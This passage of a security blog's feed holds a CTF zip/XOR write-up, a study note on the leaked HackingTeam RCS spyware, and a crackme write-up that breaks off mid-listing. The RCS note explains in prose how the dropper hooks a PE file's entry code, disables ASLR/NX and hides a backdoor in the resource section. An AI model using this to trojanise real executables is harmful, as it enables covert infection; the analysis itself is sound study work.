/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/1/1/1/0/0/0/1ÿPK</span><br></pre></td></tr></table></figure><p>查看该文件类型会发现它也是个zip包，并且解压后的文件也是个zip包。</p><p><img src="https://s2.ax1x.com/2019/11/23/MbV7NT.png" alt="unzip2"></p><p>看到该压缩包里有三个文件，并且文件名相同，为<code>X/O/R/_/T/H/E/S/E/_/F/I/L/E/S</code>，提示我们异或这些文件。</p><p>查看文件内容，如下。</p><p><img src="https://s2.ax1x.com/2019/11/23/MbZvRg.png" alt="MbZvRg.png"></p><h2 id="0x03-编写exp"><a href="#0x03-编写exp" class="headerlink" title="0x03 编写exp"></a>0x03 编写exp</h2><p>经过前两步的尝试，我们发现文件<code>zipfile.zip</code>中有很多个文件，命名以<strong>8位二进制</strong>为基础进行变化。其中的文件也是一个zip包，并且解压后还是一个zip包，该zip包中含有几个文件，需要进行异或操作。</p><p>那么思路就很清晰了，需要注意的是8位二进制文件那里有重名的文件，不要漏了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> zipfile</span><br><span class="line"><span class="keyword">from</span> copy <span class="keyword">import</span> copy</span><br><span class="line"></span><br><span class="line">nowdir = <span class="string">'/root/Desktop/test/zipfile.zip'</span></span><br><span class="line">targetzfile = zipfile.ZipFile(nowdir,<span class="string">'r'</span>)</span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">256</span>):</span><br><span class="line"></span><br><span class="line"><span class="comment"># 0 -&gt; 00000000</span></span><br><span class="line">targetName = bin(i)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line"><span class="comment"># 01010101 -&gt; 0/1/0/1/0/1/0/1</span></span><br><span class="line">targetName = <span class="string">'/'</span>.join(targetName)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"[*] target = %d"</span>%i</span><br><span class="line"></span><br><span class="line">littleFlag = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> info <span class="keyword">in</span> targetzfile.infolist():</span><br><span class="line"></span><br><span class="line"><span class="comment">#print targetName,info.filename[-19:]</span></span><br><span class="line"><span class="keyword">if</span> targetName != info.filename[<span class="number">-18</span>:<span class="number">-3</span>]:</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"Find it~"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># read 0/1/0/1/0/1/0/1PK and creat temp file</span></span><br><span class="line">data = targetzfile.read(info)</span><br><span class="line">f = open(<span class="string">'./temp'</span>,<span class="string">'w+b'</span>)</span><br><span class="line">f.write(data)</span><br><span class="line">f.close()</span><br><span class="line"></span><br><span class="line">target = <span class="string">'./temp'</span></span><br><span class="line"><span class="comment"># print target</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># first unzip</span></span><br><span class="line">zfile = zipfile.ZipFile(target,<span class="string">'r'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> filename <span class="keyword">in</span> zfile.namelist():</span><br><span class="line"></span><br><span class="line"><span class="comment">#print target,filename</span></span><br><span class="line">data = zfile.read(filename)</span><br><span class="line">f = open(<span class="string">'./temp2'</span>,<span class="string">'w+b'</span>)</span><br><span class="line">f.write(data)</span><br><span class="line">f.close()</span><br><span class="line"></span><br><span class="line"><span class="comment"># second unzip</span></span><br><span class="line">zfile = zipfile.ZipFile(<span class="string">'./temp2'</span>,<span class="string">'r'</span>)</span><br><span class="line">d = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> info <span class="keyword">in</span> zfile.infolist():</span><br><span class="line">d.append(zfile.read(info))</span><br><span class="line"></span><br><span class="line">d = [ map(ord,i) <span class="keyword">for</span> i <span class="keyword">in</span> d ]</span><br><span class="line"><span class="keyword">print</span> d</span><br><span class="line"></span><br><span class="line">s = []</span><br><span class="line"><span class="comment">#s = copy(littleFlag)</span></span><br><span class="line"><span class="comment">#print littleFlag,s</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(len(d[<span class="number">0</span>])):</span><br><span class="line">t = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(len(d)):</span><br><span class="line">t ^= d[j][i]</span><br><span class="line"></span><br><span class="line"><span class="comment">#print chr(t)</span></span><br><span class="line"><span class="comment">#print littleFlag,s</span></span><br><span class="line"><span class="keyword">if</span> littleFlag == []:</span><br><span class="line">s.append(t)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">s[i] ^= t </span><br><span class="line">flag += <span class="string">'\''</span> + <span class="string">''</span>.join(map(chr,s))+<span class="string">'\','</span></span><br><span class="line"><span class="comment">#littleFlag = copy(s)</span></span><br><span class="line"><span class="comment">#flag += ''.join(map(chr,littleFlag))</span></span><br><span class="line">flag += <span class="string">']\n'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure><p>运行脚本可以得到如下字符串，可以发现第二列的字符串拼接起来是有意义的233。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[[&apos; &apos;,&apos;I&apos;,&apos; &apos;],</span><br><span class="line">[&apos;4d&apos;,&apos; a&apos;,&apos;:t&apos;],</span><br><span class="line">[&apos;ta&apos;,&apos;m &apos;,&apos;ut&apos;],</span><br><span class="line">[&apos;het&apos;,&apos;not&apos;,&apos;tuc&apos;],</span><br><span class="line">[&apos;e&apos;,&apos; &apos;,&apos;3&apos;],</span><br><span class="line">[&apos; 4&apos;,&apos;su&apos;,&apos;z3&apos;],</span><br><span class="line">[&apos; te&apos;,&apos;re &apos;,&apos;6uu&apos;],</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>结果如下，舒服~</p><p><img src="https://s2.ax1x.com/2019/11/23/MbmwjJ.png" alt="MbmwjJ.png"></p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;最近在摸鱼，在hackme inndy的网站上做了一道有点意思的misc，这里记录一下解题过程，不放flag。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/hackme.inndy.tw/misc/zipfile&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目文件及exp&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Points&lt;/th&gt;
&lt;th&gt;Solved&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;td&gt;[Solved] zipfile&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Unzip this file&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="hackme-inndy-tw" scheme="https://l1b0.fun/tags/hackme-inndy-tw/"/>
    
      <category term="Misc" scheme="https://l1b0.fun/tags/Misc/"/>
    
      <category term="Zip" scheme="https://l1b0.fun/tags/Zip/"/>
    
  </entry>
  
  <entry>
    <title>HackingTeam-RCS-code-分析记录</title>
    <link href="https://l1b0.fun/b66b54cd/"/>
    <id>https://l1b0.fun/b66b54cd/</id>
    <published>2019-11-21T03:34:08.000Z</published>
    <updated>2019-11-23T06:07:21.332Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>记录10.17起的学习过程，主要记录对rcs_code的分析。</p><p><a href="https://github.com/hackedteam" target="_blank" rel="noopener">源码链接</a></p></blockquote><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>rcs的全称是remote control system，意思是远程控制系统，是一套用于政府拦截的黑客套件，实现了全平台的监控系统。</p><p>本次分析融合功能涉及四个模块，如下图。</p><p><img src="https://s2.ax1x.com/2019/11/21/M58qHI.png" alt="list"></p><a id="more"></a><p>接下来是详细分析。</p><h2 id="融合（代码不全-，跳过）"><a href="#融合（代码不全-，跳过）" class="headerlink" title="融合（代码不全==，跳过）"></a>融合（代码不全==，跳过）</h2><h3 id="melter"><a href="#melter" class="headerlink" title="melter"></a>melter</h3><p>这个模块包含<code>main.cc</code>文件，是融合模块的入口点。<br>用于接收输入参数，并创建PEMelter对象。</p><p>输入参数如下</p><blockquote><p><strong>help</strong>:    参数说明<br><strong>input</strong>:    目标文件的路径，需为<strong>Win32 PE</strong>可执行文件<br><strong>output</strong>: 输出文件的路径，默认为output.exe<br><strong>rcs</strong>:      恶意程序的路径</p></blockquote><p>在接收输入之后判断每个参数（文件）是否存在，并将输入参数输出，之后便创建一个<strong>PEMelter对象</strong>。</p><h3 id="libpemelter"><a href="#libpemelter" class="headerlink" title="libpemelter"></a>libpemelter</h3><p>该模块主要由四个部分组成，分别是<code>PEMelter</code>，<code>PEParser</code>，<code>PEMangler</code>和一个头文件<code>win32type.h</code>。</p><h4 id="win32type-h"><a href="#win32type-h" class="headerlink" title="win32type.h"></a>win32type.h</h4><p>该文件主要定义了一些<strong>关于pe文件解析的结构体</strong>，如IMAGE_SECTION_HEADER，IMAGE_IMPORT_DESCRIPTOR等；<br>以及一些<strong>需要预先声明的定值</strong>，如IMAGE_SIZEOF_FILE_HEADER等。</p><h4 id="PEMelter"><a href="#PEMelter" class="headerlink" title="PEMelter"></a>PEMelter</h4><p>PEMelter类的<strong>构造函数</strong>中创建了三个对象，分别是PEParser、PEMangler以及Melter。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">PEMelter::PEMelter()</span><br><span class="line">&#123;</span><br><span class="line">    parser_ = new PEParser();</span><br><span class="line">    mangler_ = new PEMangler();</span><br><span class="line">    melter_ = new Melter(*parser_, *mangler_);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="PEParser"><a href="#PEParser" class="headerlink" title="PEParser"></a>PEParser</h4><p>PARSER(PEParser); - Parser.h 41</p><h4 id="PEMangler"><a href="#PEMangler" class="headerlink" title="PEMangler"></a>PEMangler</h4><h3 id="libmelter"><a href="#libmelter" class="headerlink" title="libmelter"></a>libmelter</h3><h2 id="下载器-dropper"><a href="#下载器-dropper" class="headerlink" title="下载器 dropper"></a>下载器 dropper</h2><h3 id="RCSWin32Dropper-cpp"><a href="#RCSWin32Dropper-cpp" class="headerlink" title="RCSWin32Dropper.cpp"></a>RCSWin32Dropper.cpp</h3><p>代码首先接收输入，如下。</p><blockquote><p>usage: RCSWin32Dropper.exe -s &lt;scout&gt; &lt;input&gt; &lt;output&gt;<br><strong>scout</strong>: 下载器？<br><strong>input</strong>: 原始PE文件<br><strong>output</strong>: 生成的文件</p></blockquote><p>这里的<strong>scout</strong>应该是指后门文件，因为在输入之后有这么一句代码<strong>sprintf(MS.core, “%s”, scoutFile);</strong>，而<strong>MS.core</strong>在后面的usage有说明<strong>core is the backdoor core</strong>。</p><p>之后便调用<code>MeltFIle.cpp</code>中的<strong>MeltFile</strong>函数进行处理。</p><h3 id="读取并解析文件内容-MelterFile-cpp-MeltFile-amp-PEObject-cpp-Parse"><a href="#读取并解析文件内容-MelterFile-cpp-MeltFile-amp-PEObject-cpp-Parse" class="headerlink" title="读取并解析文件内容: MelterFile.cpp - MeltFile &amp; PEObject.cpp - Parse"></a>读取并解析文件内容: MelterFile.cpp - MeltFile &amp; PEObject.cpp - Parse</h3><p>MeltFile函数参数说明如下</p><p>int MeltFile( char const * const input_path, char const * const  output_path, MelterStruct const * const melter_data, BOOL isScout, char  *scout_file )</p><blockquote><p>input_path：输入的input路径<br>output_path：输入的output路径<br>melter_data：一个融合器的结构体<br>isScout：是否为scout?<br>scout_file: 输入的scout路径</p></blockquote><p>这里的调用参数内容为MeltFile( inputFile, outputFile, &amp;MS, TRUE, scoutFile );</p><p>首先读取input_path的内容，并复制一份至data变量，防止修改源文件。</p><p>接着创建一个PEObject对象，构造函数参数内容为input_path的内容data及文件大小size。<br>然后通过PEObject对象的<strong>parse</strong>函数判断文件是否能被解析。</p><p>解析过程如下</p><ol><li>读取文件头（前0x3000）判断文件是否是SFXCAB.exe类型的补丁（_SFX_CAB_EXE_PATH）</li><li>解析DOSHeader、NTHeader。判断是否为<code>Win32 PE for IA-32</code>；是否开启ASLR，NX，FORCE_INTEGRITY，开启则消除标志位；是否绑定导入表，绑定则重置为0；是否开启重定位表，开启则重置为0；读取各个section的内容。</li><li>解析Resources，读取resources段。</li><li>解析Text段，<strong>寻找hook的位置</strong>。通过读取OEP之后的0x400数据，经过反汇编后，寻找长度大于等于5且为jmp或call类的指令，即为要hook的位置（jmp为一定有效的，call为潜在有效的指令）。</li></ol><h3 id="嵌入下载器（dropper）-PEObject-cpp-embedDropper"><a href="#嵌入下载器（dropper）-PEObject-cpp-embedDropper" class="headerlink" title="嵌入下载器（dropper）: PEObject.cpp - embedDropper"></a>嵌入下载器（dropper）: PEObject.cpp - embedDropper</h3><p>首先通过NTHeaders读取OEP（程序入口点），并找到OEP对应的section。</p><p>接着创建一个DropperObject对象名为dropper，将之前在解析文件时找到的hookpoint复制到dropper中。</p><p><strong>这里有个dropper.build()忘了看（功能好像就是把木马放进dropper里）。。。</strong></p><p>创建dropper成功之后获取Resources section的地址，调用<code>TuneResources</code>函数对<strong>资源段</strong>进行调整，如下图，修改第一层目录的第一个索引，指向新的table（复制原来的table，新增一个表项）。可以看到新增的data   entry记录的是dropper的大小及地址，故这里的下载器应该是被加入到资源表的索引中，但此时dropper的数据还没有放进去，只是预留了一块空间。</p><p><img src="https://s2.ax1x.com/2019/11/21/M53PzQ.png" alt="3550652054011fc9b9a8530f6cbe8d52.png"></p><p>之后malloc了一个大小为<code>sizeof(ResourcesSection)+sizeof(dropper)+sizeofResources()</code>的空间，将资源段的数据copy进去，将dropper数据copy进去，调用<code>_writeResources</code>遍历资源段并复制一遍数据，可以说是一个新的资源段（舍去了之前因调整而无索引的table）。并魔改资源段地址为新的资源段地址及大小。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ol><li><a href="https://blog.csdn.net/zhyulo/article/details/85930045" target="_blank" rel="noopener">PE文件解析-资源(Resource)</a></li><li><a href="https://xakep.ru/2016/12/29/hacking-team-galileo-sources/" target="_blank" rel="noopener">歪果仁的一点分析</a></li><li><a href="https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108" target="_blank" rel="noopener">user-mode-rootkits-iat-and-inline-hooking</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;记录10.17起的学习过程，主要记录对rcs_code的分析。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hackedteam&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;源码链接&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;rcs的全称是remote control system，意思是远程控制系统，是一套用于政府拦截的黑客套件，实现了全平台的监控系统。&lt;/p&gt;
&lt;p&gt;本次分析融合功能涉及四个模块，如下图。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/11/21/M58qHI.png&quot; alt=&quot;list&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="学习记录" scheme="https://l1b0.fun/categories/%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"/>
    
    
      <category term="HackingTeam" scheme="https://l1b0.fun/tags/HackingTeam/"/>
    
      <category term="RCS" scheme="https://l1b0.fun/tags/RCS/"/>
    
  </entry>
  
  <entry>
    <title>2019上海市大学生网络安全大赛 - puzzle Writeup</title>
    <link href="https://l1b0.fun/f28ff473/"/>
    <id>https://l1b0.fun/f28ff473/</id>
    <published>2019-11-03T04:23:53.000Z</published>
    <updated>2019-11-03T04:28:11.144Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Shanghai2019/puzzle_22bb655dde94ec691261819cb534460c" target="_blank" rel="noopener">题目及脚本链接</a></p></blockquote><a id="more"></a><h2 id="简要分析"><a href="#简要分析" class="headerlink" title="简要分析"></a>简要分析</h2><p>main函数伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *v4; <span class="comment">// [esp+1Ch] [ebp-A0h]</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [esp+20h] [ebp-9Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// [esp+24h] [ebp-98h]</span></span><br><span class="line">  <span class="keyword">int</span> v7; <span class="comment">// [esp+28h] [ebp-94h]</span></span><br><span class="line">  <span class="keyword">int</span> v8; <span class="comment">// [esp+2Ch] [ebp-90h]</span></span><br><span class="line">  <span class="keyword">char</span> input; <span class="comment">// [esp+30h] [ebp-8Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v10; <span class="comment">// [esp+50h] [ebp-6Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v11; <span class="comment">// [esp+70h] [ebp-4Ch]</span></span><br><span class="line"></span><br><span class="line">  sub_402620();</span><br><span class="line">  v5 = 'eewq';</span><br><span class="line">  v6 = <span class="string">'e'</span>;</span><br><span class="line">  v7 = <span class="number">0</span>;</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  v4 = <span class="built_in">malloc</span>(<span class="number">0x408</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Plz solve the puzzle:"</span>);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">"%32s"</span>, &amp;input);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)check_len_and_hex(&amp;input)<span class="comment">// check string in a-f</span></span><br><span class="line">    &amp;&amp; (str2hex((<span class="keyword">int</span>)&amp;v10, &amp;input), generateData(v4, (<span class="keyword">int</span>)&amp;v5, <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;v5)), xor(v4, &amp;v10, <span class="number">8</span>), check(&amp;v10)) )</span><br><span class="line">  &#123;</span><br><span class="line">    generateFlag(&amp;input, (<span class="keyword">int</span>)&amp;v11);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Congrats!\n%s\n"</span>, &amp;v11);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Failed!"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="sub-401C70-check-len-and-hex"><a href="#sub-401C70-check-len-and-hex" class="headerlink" title="sub_401C70 - check_len_and_hex"></a>sub_401C70 - check_len_and_hex</h3><p>校验输入，需要长度为16，并且为0-9或a-f。</p><p>这里a-f很容易看出来，但是0-9也满足约束是因为</p><blockquote><p>ord(‘0’) - 58 = 48 - 58 = -10</p><p>经过(unsigned __int8)之后-10变成246大于0x26</p><p>ord(‘9’) - 58 = 57 - 58 = -1</p><p>经过(unsigned __int8)之后-1变成255也大于0x26</p></blockquote><p>这里可以写个小脚本把符合条件的爆破一下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">256</span>):</span><br><span class="line"><span class="meta">... </span>    a = i</span><br><span class="line"><span class="meta">... </span>    <span class="keyword">if</span> (a<span class="number">-58</span>)&amp;<span class="number">0xff</span> &gt; <span class="number">0x26</span> <span class="keyword">and</span> (a<span class="number">-48</span>)&amp;<span class="number">0xff</span> &lt;= <span class="number">0x36</span>:</span><br><span class="line"><span class="meta">... </span>            <span class="keyword">print</span> chr(i)</span><br><span class="line">...</span><br><span class="line"><span class="number">0</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line"><span class="number">2</span></span><br><span class="line"><span class="number">3</span></span><br><span class="line"><span class="number">4</span></span><br><span class="line"><span class="number">5</span></span><br><span class="line"><span class="number">6</span></span><br><span class="line"><span class="number">7</span></span><br><span class="line"><span class="number">8</span></span><br><span class="line"><span class="number">9</span></span><br><span class="line">a</span><br><span class="line">b</span><br><span class="line">c</span><br><span class="line">d</span><br><span class="line">e</span><br><span class="line">f</span><br></pre></td></tr></table></figure><h3 id="sub-401B60-str2hex"><a href="#sub-401B60-str2hex" class="headerlink" title="sub_401B60 - str2hex"></a>sub_401B60 - str2hex</h3><p>这个函数我没细看，通过od动态跟一下就能看出是字符串转16进制了，逻辑还是比较清晰的。</p><h3 id="sub-401850-generateData"><a href="#sub-401850-generateData" class="headerlink" title="sub_401850 - generateData"></a>sub_401850 - generateData</h3><p>这个函数的作用是先生成一个0-255的数组，然后根据字符串<code>qweee</code>打乱一下顺序。</p><p>最终生成的数组数据是固定的，所以用od调试看下内存就能得到，如下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">0x71,0x12,0x62,0x31,</span><br><span class="line">0x4D,0x97,0x14,0x0D,</span><br><span class="line">0xED,0xA3,0xD6,0xFC,</span><br><span class="line">0xF1,0x3B,0x3C,0x33,</span><br><span class="line">0xB5,0x22,0xA2,0x1A,</span><br><span class="line">0x17,0x1D,0x98,0x91,</span><br><span class="line">0x06,0x2A,0x8B,0x23,</span><br><span class="line">0xE6,0x55,0x46,0x3A,</span><br><span class="line">0x65,0x28,0x30,0x39,</span><br><span class="line">0xD4,0x0C,0x01,0x2D,</span><br><span class="line">0x25,0x10,0x09,0x8F,</span><br><span class="line">0x6A,0x3F,0x44,0xD8,</span><br><span class="line">0x6D,0xC5,0xA6,0x72,</span><br><span class="line">0x07,0x83,0x40,0xC6,</span><br><span class="line">0x8E,0x1F,0x77,0x61,</span><br><span class="line">0x96,0x4A,0x08,0xFE,</span><br><span class="line">0x53,0x5A,0xA1,0xDF,</span><br><span class="line">0xB6,0x67,0x66,0x5C,</span><br><span class="line">0x57,0xB8,0xD3,0x11,</span><br><span class="line">0x52,0x21,0xCC,0x56,</span><br><span class="line">0x2E,0xC2,0x88,0xAA,</span><br><span class="line">0xF9,0x20,0x7A,0x6F,</span><br><span class="line">0x4E,0x76,0xE8,0xC1,</span><br><span class="line">0xD5,0xBD,0xCE,0x9E,</span><br><span class="line">0x38,0x95,0x50,0xF2,</span><br><span class="line">0x9F,0xB2,0x9A,0x0B,</span><br><span class="line">0x47,0x16,0x60,0xBF,</span><br><span class="line">0xFD,0x92,0x35,0x89,</span><br><span class="line">0xDA,0xFF,0x9B,0xBA,</span><br><span class="line">0x13,0xAB,0xF4,0x79,</span><br><span class="line">0x87,0xAC,0x8C,0x73,</span><br><span class="line">0x84,0xB3,0x0E,0xC8,</span><br><span class="line">0x26,0xA5,0xE7,0x15,</span><br><span class="line">0xE9,0xC3,0x69,0x70,</span><br><span class="line">0xE0,0x68,0x42,0x81,</span><br><span class="line">0xCD,0xEB,0xDE,0x7D,</span><br><span class="line">0xEF,0xD0,0x24,0x00,</span><br><span class="line">0xF0,0x41,0xA0,0xEE,</span><br><span class="line">0x05,0x94,0x85,0xBB,</span><br><span class="line">0x43,0x02,0xF7,0xC0,</span><br><span class="line">0xD1,0x1B,0x7F,0x5B,</span><br><span class="line">0xEC,0xF6,0x2B,0x1E,</span><br><span class="line">0xE2,0x27,0xFB,0x78,</span><br><span class="line">0x54,0x58,0xE4,0x32,</span><br><span class="line">0xDB,0xB7,0xC7,0x90,</span><br><span class="line">0x7C,0xF8,0x5D,0x5F,</span><br><span class="line">0x63,0xBE,0x2C,0x0A,</span><br><span class="line">0xDD,0x9C,0x75,0x19,</span><br><span class="line">0xC4,0xA8,0x86,0x36,</span><br><span class="line">0xBC,0x8D,0xD7,0x7B,</span><br><span class="line">0xB4,0x5E,0x3E,0xA7,</span><br><span class="line">0xB1,0xE1,0x59,0x82,</span><br><span class="line">0xB9,0xAE,0xD9,0x7E,</span><br><span class="line">0xAF,0xCF,0x9D,0xF5,</span><br><span class="line">0xFA,0x48,0x4F,0xA9,</span><br><span 